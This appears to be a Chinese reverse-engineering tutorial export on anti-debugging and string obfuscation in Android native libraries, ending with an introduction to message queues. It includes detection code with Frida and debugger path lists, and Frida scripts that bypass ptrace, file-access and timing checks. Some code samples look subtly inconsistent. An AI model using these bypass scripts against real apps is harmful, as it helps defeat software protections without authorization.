","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:1:1","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#11-elf-加载与-init_array-执行时机"},{"categories":null,"collections":null,"content":"1.2 完整调用链路 System.loadLibrary(\"target\") ↓ nativeLoad() [art/runtime/native/java_lang_Runtime.cc] ↓ android_dlopen_ext() [bionic/libdl/libdl.cpp] ↓ do_dlopen() [bionic/linker/linker.cpp] ↓ find_library() → load_library() → link_image() ↓ call_constructors() → init_array 函数执行 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:1:2","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#12-完整调用链路"},{"categories":null,"collections":null,"content":"1.3 查看 init_array 信息 # 使用 readelf 查看动态段 readelf -d target.so | grep INIT # 使用 objdump 分析 objdump -s -j .init_array target.so ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:1:3","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#13-查看-init_array-信息"},{"categories":null,"collections":null,"content":"1.4 init_array 结构 // init_array 结构信息 typedef struct { Elf64_Addr *init_array; // 函数指针数组 size_t init_array_count; // 数组大小 } init_array_info; // 反调试函数声明 __attribute__((constructor)) void anti_debug_init() { // 反调试逻辑 } // 编译后会在 .init_array 段生成函数指针 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:1:4","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#14-init_array-结构"},{"categories":null,"collections":null,"content":"2. 字符串混淆技术 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:2:0","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#2-字符串混淆技术"},{"categories":null,"collections":null,"content":"2.1 XOR 加密字符串 // 字符串加密宏定义 #define ENCRYPT_STRING(str) encrypt_string_xor(str, sizeof(str)-1, 0xAA) constexpr char* encrypt_string_xor(const char* str, size_t len, char key) { static char encrypted[256]; for (size_t i = 0; i \u003c len; i++) { encrypted[i] = str[i] ^ key; } encrypted[len] = '\\0'; return encrypted; } // 使用示例 void check_frida() { // 原始字符串: \"/data/local/tmp/frida-server\" const char* encrypted = \"\\xc4\\xae\\xa8\\xa8\\xe4\\xe6\\xe8\\xe0\\xe4\\xe6\\xe4\"; char decrypted[256]; decrypt_string(encrypted, decrypted, strlen(encrypted), 0xAA); if (access(decrypted, F_OK) == 0) { exit(1); } } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:2:1","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#21-xor-加密字符串"},{"categories":null,"collections":null,"content":"2.2 AES 加密字符串 class StringObfuscator { private: static constexpr uint8_t AES_KEY[16] = { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c }; static void aes_decrypt(const uint8_t* encrypted, uint8_t* decrypted, size_t len) { AES_KEY aes_key; AES_set_decrypt_key(AES_KEY, 128, \u0026aes_key); for (size_t i = 0; i \u003c len; i += 16) { AES_decrypt(encrypted + i, decrypted + i, \u0026aes_key); } } public: static std::string decrypt_string(const uint8_t* encrypted_data, size_t len) { std::vector\u003cuint8_t\u003e decrypted(len); aes_decrypt(encrypted_data, decrypted.data(), len); // 移除 padding size_t actual_len = len; while (actual_len \u003e 0 \u0026\u0026 decrypted[actual_len - 1] == 0) { actual_len--; } return std::string(reinterpret_cast\u003cchar*\u003e(decrypted.data()), actual_len); } }; // 使用加密字符串 void advanced_anti_debug() { // 加密的 \"/proc/self/status\" 字符串 const uint8_t encrypted_proc_status[] = { 0x8a, 0x2d, 0x5e, 0x1f, 0x9b, 0x7c, 0x85, 0xa3, 0x4e, 0x92, 0x67, 0xc1, 0x55, 0x98, 0x33, 0x2a }; std::string proc_status = StringObfuscator::decrypt_string( encrypted_proc_status, sizeof(encrypted_proc_status) ); check_debugger_via_status(proc_status.c_str()); } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:2:2","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#22-aes-加密字符串"},{"categories":null,"collections":null,"content":"2.3 栈上动态构造字符串 void construct_string_on_stack() { char target_path[64]; // 分段构造字符串 strcpy(target_path, \"/data/\"); strcat(target_path, \"local/\"); strcat(target_path, \"tmp/\"); strcat(target_path, \"frida-\"); strcat(target_path, \"server\"); if (access(target_path, F_OK) == 0) { exit(1); } // 清理栈上敏感字符串 memset(target_path, 0, sizeof(target_path)); } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:2:3","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#23-栈上动态构造字符串"},{"categories":null,"collections":null,"content":"2.4 动态字符串构建器 class DynamicStringBuilder { private: std::vector\u003cstd::string\u003e fragments; public: void add_fragment(const char* encrypted, size_t len, uint8_t key) { std::string decrypted; for (size_t i = 0; i \u003c len; i++) { decrypted += static_cast\u003cchar\u003e(encrypted[i] ^ key); } fragments.push_back(decrypted); } std::string build() { std::string result; for (const auto\u0026 fragment : fragments) { result += fragment; } // 立即清理 fragments fragments.clear(); return result; } }; void dynamic_string_detection() { DynamicStringBuilder builder; // 分段加密字符串片段 const char frag1[] = {0x8f, 0x9e, 0x9a, 0x9a, 0x8f}; // \"/data\" const char frag2[] = {0x8f, 0x93, 0x91, 0x9d, 0x9e, 0x93}; // \"/local\" const char frag3[] = {0x8f, 0x9a, 0x94, 0x92}; // \"/tmp\" builder.add_fragment(frag1, 5, 0xEE); builder.add_fragment(frag2, 6, 0xEE); builder.add_fragment(frag3, 4, 0xEE); std::string path = builder.build(); // 使用构造的路径进行检测 perform_detection(path.c_str()); } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:2:4","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#24-动态字符串构建器"},{"categories":null,"collections":null,"content":"3. 反调试技术实现 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:3:0","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#3-反调试技术实现"},{"categories":null,"collections":null,"content":"3.1 init_array 中的反调试 // 在 .init_array 中执行反调试函数 __attribute__((constructor(101))) // 指定优先级 void init_anti_debug_level1() { // 1. ptrace 自身保护 if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) { _exit(1); } // 2. 检测调试器进程 check_debugger_processes(); // 3. 检测 Frida 文件 check_frida_artifacts(); } __attribute__((constructor(102))) void init_anti_debug_level2() { // 4. 检测内存映射 check_suspicious_mappings(); // 5. 检测 hook 痕迹 check_hook_signatures(); // 6. 时间检测 timing_attack_detection(); } void check_debugger_processes() { const char* debugger_names[] = { \"gdb\", \"lldb\", \"strace\", \"ida\", \"x64dbg\" }; for (const char* name : debugger_names) { if (process_exists(name)) { execute_anti_debug_response(); } } } void check_frida_artifacts() { const char* frida_indicators[] = { \"/data/local/tmp/frida-server\", \"/data/local/tmp/frida-agent-64.so\", \"/system/lib64/libfrida-gum.so\" }; for (const char* indicator : frida_indicators) { if (file_exists(indicator)) { execute_anti_debug_response(); } } } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:3:1","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#31-init_array-中的反调试"},{"categories":null,"collections":null,"content":"3.2 内存映射检测 __attribute__((constructor(103))) void init_memory_protection() { // 检测代码段完整性 verify_code_integrity(); // 检测异常向量表 check_exception_handlers(); // 设置内存保护 setup_memory_protection(); } void check_suspicious_mappings() { FILE* maps = fopen(\"/proc/self/maps\", \"r\"); char line[512]; while (fgets(line, sizeof(line), maps)) { // 检测可疑库映射 if (strstr(line, \"frida\") || strstr(line, \"gum-js-loop\") || strstr(line, \"xposed\")) { fclose(maps); execute_anti_debug_response(); } // 检测可疑权限组合 if (strstr(line, \"rwxp\")) { // 可读写执行页面 analyze_rwx_mapping(line); } } fclose(maps); } void verify_code_integrity() { // 计算代码段哈希值 Dl_info info; dladdr((void*)verify_code_integrity, \u0026info); const char* base = (const char*)info.dli_fbase; size_t text_size = get_text_section_size(base); uint32_t current_hash = calculate_crc32(base, text_size); uint32_t expected_hash = get_expected_hash(); if (current_hash != expected_hash) { // 代码被修改，执行对抗措施 code_tampering_detected(); } } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:3:2","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#32-内存映射检测"},{"categories":null,"collections":null,"content":"3.3 时间检测 void init_timing_checks() { // 启动定时器检测 start_timing_monitor(); // 检测单步执行 detect_single_stepping(); } void detect_single_stepping() { struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, \u0026start); // 执行一些简单操作 volatile int dummy = 0; for (int i = 0; i \u003c 1000; i++) { dummy += i; } clock_gettime(CLOCK_MONOTONIC, \u0026end); long duration = (end.tv_sec - start.tv_sec) * 1000000000 + (end.tv_nsec - start.tv_nsec); // 如果执行时间异常，可能在单步调试 if (duration \u003e NORMAL_EXECUTION_TIME * 10) { single_step_detected(); } } void start_timing_monitor() { std::thread([]() { while (true) { std::this_thread::sleep_for(std::chrono::seconds(5)); // 定期检测系统调用时间 struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, \u0026start); getpid(); // 简单系统调用 clock_gettime(CLOCK_MONOTONIC, \u0026end); long syscall_time = (end.tv_sec - start.tv_sec) * 1000000000 + (end.tv_nsec - start.tv_nsec); if (syscall_time \u003e NORMAL_SYSCALL_TIME * 5) { // 系统调用被拦截或调试 syscall_hooking_detected(); } } }).detach(); } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:3:3","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#33-时间检测"},{"categories":null,"collections":null,"content":"3.4 反调试响应策略 enum class AntiDebugResponse { EXIT_SILENTLY, CORRUPT_DATA, FAKE_EXECUTION, CRASH_GRACEFULLY, REPORT_TO_SERVER }; void execute_anti_debug_response() { static int detection_count = 0; detection_count++; // 根据检测次数选择不同响应策略 AntiDebugResponse response = select_response_strategy(detection_count); switch (response) { case AntiDebugResponse::EXIT_SILENTLY: _exit(0); break; case AntiDebugResponse::CORRUPT_DATA: corrupt_critical_data(); break; case AntiDebugResponse::FAKE_EXECUTION: enter_fake_execution_mode(); break; case AntiDebugResponse::CRASH_GRACEFULLY: trigger_controlled_crash(); break; case AntiDebugResponse::REPORT_TO_SERVER: report_debug_attempt(); _exit(1); break; } } void corrupt_critical_data() { // 破坏关键数据结构，使分析结果无效 extern char critical_data_start[]; extern char critical_data_end[]; size_t size = critical_data_end - critical_data_start; for (size_t i = 0; i \u003c size; i++) { critical_data_start[i] ^= 0xFF; } } void enter_fake_execution_mode() { // 进入虚假执行模式，返回错误分析结果 global_fake_mode = true; // 修改函数指针，指向虚假实现 redirect_function_calls(); } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:3:4","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#34-反调试响应策略"},{"categories":null,"collections":null,"content":"4. 分析与绕过方法 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:4:0","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#4-分析与绕过方法"},{"categories":null,"collections":null,"content":"4.1 静态分析 init_array # 分析 init_array 段的工具 import subprocess from elftools.elf.elffile import ELFFile class InitArrayAnalyzer: def __init__(self, so_path): self.so_path = so_path self.init_functions = [] def analyze_init_array(self): # 使用 readelf 获取 init_array 信息 result = subprocess.run(['readelf', '-d', self.so_path], capture_output=True, text=True) for line in result.stdout.split('\\n'): if 'INIT_ARRAY' in line: # 解析 init_array 地址和大小 self.parse_init_array_info(line) def extract_function_addresses(self): with open(self.so_path, 'rb') as f: elf = ELFFile(f) # 找到 .init_array 段 init_array_section = elf.get_section_by_name('.init_array') if init_array_section: data = init_array_section.data() # 解析函数指针 (8 字节对齐) for i in range(0, len(data), 8): if i + 8 \u003c= len(data): func_addr = int.from_bytes(data[i:i+8], 'little') self.init_functions.append(func_addr) print(f\"[+] Init function at: 0x{func_addr:x}\") def disassemble_functions(self): # 使用 objdump 反汇编每个初始化函数 for addr in self.init_functions: print(f\"\\n[+] Disassembling function at 0x{addr:x}\") subprocess.run(['objdump', '-d', '--start-address', hex(addr), '--stop-address', hex(addr + 0x100), self.so_path]) # 使用示例 analyzer = InitArrayAnalyzer('target.so') analyzer.analyze_init_array() analyzer.extract_function_addresses() analyzer.disassemble_functions() ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:4:1","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#41-静态分析-init_array"},{"categories":null,"collections":null,"content":"4.2 Frida Hook init_array // Hook init_array 执行 function monitor_init_array() { // Hook constructor 函数调用 var call_constructors = Module.findExportByName( \"linker64\", \"_ZN6soinfo17call_constructorsEv\" ); if (call_constructors) { Interceptor.attach(call_constructors, { onEnter: function(args) { var soinfo = args[0]; var soname = get_soname(soinfo); console.log(\"[+] Calling constructors for: \" + soname); this.soname = soname; this.start_time = Date.now(); }, onLeave: function(retval) { var duration = Date.now() - this.start_time; console.log(\"[+] Constructors completed for \" + this.soname + \" in \" + duration + \"ms\"); } }); } // Hook 目标 SO 的每个 init_array 函数 var target_module = Process.findModuleByName(\"libtarget.so\"); if (target_module) { analyze_init_array_section(target_module); } } function analyze_init_array_section(module) { // 解析 ELF 文件找到 init_array 段 var elf_base = module.base; // 获取 Program 头表偏移 var phoff = elf_base.add(0x20).readU64(); var phnum = elf_base.add(0x38).readU16(); // 遍历 Program 头，查找 PT_DYNAMIC for (var i = 0; i \u003c phnum; i++) { var ph_addr = elf_base.add(phoff).add(i * 56); var p_type = ph_addr.readU32(); if (p_type === 2) { // PT_DYNAMIC var p_vaddr = ph_addr.add(16).readU64(); var dynamic_addr = elf_base.add(p_vaddr); parse_dynamic_section(dynamic_addr, module); break; } } } function parse_dynamic_section(dynamic_addr, module) { var addr = dynamic_addr; while (true) { var tag = addr.readU64(); var val = addr.add(8).readU64(); if (tag === 0) break; // DT_NULL if (tag === 25) { // DT_INIT_ARRAY var init_array_addr = module.base.add(val); console.log(\"[+] Found init_array at: \" + init_array_addr); // Hook init_array 中每个函数 hook_init_array_functions(init_array_addr, module); } else if (tag === 27) { // DT_INIT_ARRAYSZ var array_size = val; console.log(\"[+] Init_array size: \" + array_size); } addr = addr.add(16); } } function hook_init_array_functions(init_array_addr, module) { var num_functions = 10; // 假设最多 10 个函数 for (var i = 0; i \u003c num_functions; i++) { var func_ptr_addr = init_array_addr.add(i * 8); var func_addr = func_ptr_addr.readPointer(); if (func_addr.isNull()) break; console.log(\"[+] Hooking init function \" + i + \" at: \" + func_addr); Interceptor.attach(func_addr, { onEnter: function(args) { console.log(\"[!] Init function called\"); // 打印调用栈 console.log(Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress).join('\\n')); }, onLeave: function(retval) { console.log(\"[!] Init function completed\"); } }); } } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:4:2","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#42-frida-hook-init_array"},{"categories":null,"collections":null,"content":"4.3 绕过反调试 // 绕过 ptrace 检测 function bypass_ptrace() { var ptrace = Module.findExportByName(\"libc.so\", \"ptrace\"); if (ptrace) { Interceptor.attach(ptrace, { onEnter: function(args) { var request = args[0].toInt32(); if (request === 0) { // PTRACE_TRACEME console.log(\"[+] Blocking PTRACE_TRACEME\"); args[0] = ptr(-1); } }, onLeave: function(retval) { // 始终返回成功 retval.replace(ptr(0)); } }); } } // 绕过文件检测 function bypass_file_detection() { var access = Module.findExportByName(\"libc.so\", \"access\"); var openat = Module.findExportByName(\"libc.so\", \"openat\"); var blocked_paths = [ \"/data/local/tmp/frida-server\", \"/proc/self/maps\", \"/proc/self/status\" ]; if (access) { Interceptor.attach(access, { onEnter: function(args) { var path = args[0].readCString(); if (blocked_paths.some(p =\u003e path.includes(p))) { console.log(\"[+] Blocking access to: \" + path); args[0] = Memory.allocUtf8String(\"/dev/null\"); } } }); } if (openat) { Interceptor.attach(openat, { onEnter: function(args) { var path = args[1].readCString(); if (blocked_paths.some(p =\u003e path.includes(p))) { console.log(\"[+] Blocking openat for: \" + path); args[1] = Memory.allocUtf8String(\"/dev/null\"); } } }); } } // 绕过时间检测 function bypass_timing_detection() { var clock_gettime = Module.findExportByName(\"libc.so\", \"clock_gettime\"); if (clock_gettime) { var fake_time = { sec: 1640995200, // 固定时间戳 nsec: 0 }; Interceptor.attach(clock_gettime, { onLeave: function(retval) { var timespec = this.context.x1; // 第二个参数 if (!timespec.isNull()) { // 写入固定时间值 timespec.writeU64(fake_time.sec); timespec.add(8).writeU64(fake_time.nsec); // 每次调用略微增加纳秒 fake_time.nsec += 1000; } } }); } } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:4:3","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#43-绕过反调试"},{"categories":null,"collections":null,"content":"4.4 Hook 字符串解密 // 字符串检测混淆检测 function detect_string_obfuscation(so_path) { var module = Process.findModuleByName(so_path); if (!module) return; // 扫描解密函数模式 var pattern = \"48 89 ?? 48 89 ?? 48 83 ?? ?? 8B ?? ??\"; // x64 解密函数模式 Memory.scan(module.base, module.size, pattern, { onMatch: function(address, size) { console.log(\"[+] Found potential decryption function at: \" + address); Interceptor.attach(address, { onEnter: function(args) { console.log(\"[+] Decryption function called\"); this.args = Array.prototype.slice.call(args); }, onLeave: function(retval) { // 尝试读取解密结果 try { var result = retval.readCString(); if (result \u0026\u0026 result.length \u003e 0 \u0026\u0026 result.length \u003c 256) { console.log(\"[+] Decrypted string: \" + result); } } catch (e) { // 可能不是字符串 } } }); }, onComplete: function() { console.log(\"[+] Decryption function scan completed\"); } }); } // 智能反调试绕过 function intelligent_anti_debug_bypass() { // 1. 自动检测并绕过常见反调试技术 bypass_ptrace(); bypass_file_detection(); bypass_timing_detection(); // 2. 监控 init_array 执行 monitor_init_array(); // 3. Hook 字符串解密 detect_string_obfuscation(\"libtarget.so\"); // 4. 设置定期检查，处理新反调试机制 setInterval(function() { check_new_anti_debug_mechanisms(); }, 5000); } function check_new_anti_debug_mechanisms() { // 检测新反调试线程 var threads = Process.enumerateThreads(); threads.forEach(function(thread) { // 检查线程调用栈是否包含反调试函数 var backtrace = Thread.backtrace(thread.context, Backtracer.ACCURATE); // 分析并处理... }); } ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:4:4","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#44-hook-字符串解密"},{"categories":null,"collections":null,"content":"5. 高级防护策略 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:5:0","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#5-高级防护策略"},{"categories":null,"collections":null,"content":"5.1 多层级保护机制 // 实现多层级保护机制 class ComprehensiveProtection { private: static bool stage1_passed; static bool stage2_passed; static bool stage3_passed; public: // 第一阶段：基础检测 __attribute__((constructor(101))) static void protection_stage1() { if (basic_anti_debug_check()) { stage1_passed = true; decrypt_stage2_key(); } else { enter_decoy_mode(); } } // 第二阶段：深度检测 __attribute__((constructor(102))) static void protection_stage2() { if (!stage1_passed) return; if (advanced_detection()) { stage2_passed = true; unlock_critical_functions(); } else { corrupt_stage2_data(); } } // 第三阶段：运行时保护 __attribute__((constructor(103))) static void protection_stage3() { if (!stage2_passed) return; start_runtime_protection(); stage3_passed = true; } // 关键函数只有在所有检测通过后才能正常执行 static bool is_protection_active() { return stage1_passed \u0026\u0026 stage2_passed \u0026\u0026 stage3_passed; } }; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:5:1","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#51-多层级保护机制"},{"categories":null,"collections":null,"content":"5.2 自适应响应系统 class AdaptiveResponseSystem { private: enum ThreatLevel { NO_THREAT = 0, LOW_THREAT = 1, MEDIUM_THREAT = 2, HIGH_THREAT = 3, CRITICAL_THREAT = 4 }; static ThreatLevel assess_threat_level() { int threat_score = 0; // 各种检测权重评分 if (detect_frida()) threat_score += 30; if (detect_debugger()) threat_score += 25; if (detect_hook()) threat_score += 20; if (detect_emulator()) threat_score += 15; if (detect_root()) threat_score += 10; if (threat_score \u003e= 80) return CRITICAL_THREAT; if (threat_score \u003e= 60) return HIGH_THREAT; if (threat_score \u003e= 40) return MEDIUM_THREAT; if (threat_score \u003e= 20) return LOW_THREAT; return NO_THREAT; } public: static void adaptive_response() { ThreatLevel level = assess_threat_level(); switch (level) { case CRITICAL_THREAT: immediate_termination(); break; case HIGH_THREAT: data_corruption_and_exit(); break; case MEDIUM_THREAT: fake_execution_mode(); break; case LOW_THREAT: increased_monitoring(); break; case NO_THREAT: normal_execution(); break; } } }; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:5:2","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#52-自适应响应系统"},{"categories":null,"collections":null,"content":"总结 防护方的核心策略： 多层级检测机制，分阶段验证 字符串动态解密，避免静态分析 时间和行为检测，识别调试环境 自适应响应策略，根据威胁等级调整 分析方的应对策略： 静态分析结合动态 Hook 全面的 API 拦截和重定向 时间和环境模拟 自动化绕过脚本开发 这一技术对抗将持续演进，双方都需要不断提升技术水平以应对新的挑战。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:6:0","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#总结"},{"categories":null,"collections":null,"content":"消息队列 (Message Queue) ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:0:0","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#消息队列-message-queue"},{"categories":null,"collections":null,"content":"消息队列（MQ）是大型分布式系统中用于服务间异步通信的核心组件。在规模化的逆向分析和数据采集中，它扮演着\"缓冲池\"和\"解耦器\"的关键角色，确保数据流的稳定、高效和可靠。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:1:0","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#消息队列mq是大型分布式系统中用于服务间异步通信的核心组件在规模化的逆向分析和数据采集中它扮演着缓冲池和解耦器的关键角色确保数据流的稳定高效和可靠"},{"categories":null,"collections":null,"content":"1. 核心概念与作用 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:2:0","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#1-核心概念与作用"},{"categories":null,"collections":null,"content":"a) 为什么需要消息队列？ 想象一个场景：你有 100 台爬虫节点（生产者）在高速抓取数据，同时有 10 个数据处理节点（消费者）负责清洗和入库。如果让生产者直接调用消费者的 API，会产生几个问题： 性能耦合: 消费者的处理速度会直接限制生产者的抓取速度。如果数据库写入缓慢，整个爬虫集群都得等。 峰值压力: 如果短时间内抓取到大量数据（流量洪峰），可能会瞬间压垮消费者服务。 服务依赖: 如果消费者服务宕机，所有生产者都会失败，数据会丢失。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:2:1","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#a-为什么需要消息队列"},{"categories":null,"collections":null,"content":"b) 消息队列的解决方案 MQ 在生产者和消费者之间增加了一个中间层，解决了以上所有问题： 异步解耦: 生产者只需将消息（如\"一个待处理的数据包\"）扔进队列即可，无需关心谁在消费、何时消费。 削峰填谷: 流量洪峰到来时，消息会先在队列中积压。消费者可以按照自己的节奏平稳地进行处理，避免了系统崩溃。 可靠性与冗余: 即使消费者宕机，消息仍然安全地存储在队列中。当消费者恢复后，可以继续处理，保证了数据不丢失。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:2:2","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#b-消息队列的解决方案"},{"categories":null,"collections":null,"content":"2. 主流消息队列方案 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:3:0","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#2-主流消息队列方案"},{"categories":null,"collections":null,"content":"a) Kafka 定位: 一个分布式的、分区的、多副本的、基于 Zookeeper 的日志提交系统 (Commit Log)。 核心特点: 极致的吞吐量: 设计目标就是为了处理海量日志数据，拥有无与伦比的写入和读取性能，是大数据领域的首选。 发布-订阅模型: 消息以\"主题 (Topic)“进行分类。生产者向一个 Topic 发送消息，多个消费者组 (Consumer Group) 可以独立地订阅和消费同一个 Topic 的消息，互不干扰。 持久化与回溯: 消息在 Kafka 中是持久化存储的。消费者可以根据需要\"回溯\"到任意时间点（Offset）重新消费数据，这对于数据重处理和故障恢复非常有用。 适用场景: 需要处理海量数据流的日志收集（Log Ingestion）。 作为 Spark Streaming 或 Flink 等实时计算框架的数据源。 构建大规模数据管道的总线。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:3:1","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#a-kafka"},{"categories":null,"collections":null,"content":"b) RabbitMQ 定位: 一个实现了 AMQP (高级消息队列协议) 的、功能丰富的消息代理 (Message Broker)。 核心特点: 灵活的路由: 拥有强大的交换机 (Exchange) 和路由键 (Routing Key) 机制，可以实现非常复杂的路由逻辑（如 fanout, direct, topic, headers）。 功能全面: 支持消息确认、优先级队列、延迟队列、死信队列等企业级特性。 可靠性: 提供了强大的消息确认机制，能确保消息\"至少被成功消费一次”。 适用场景: 业务逻辑复杂，需要精细化控制消息路由的场景。 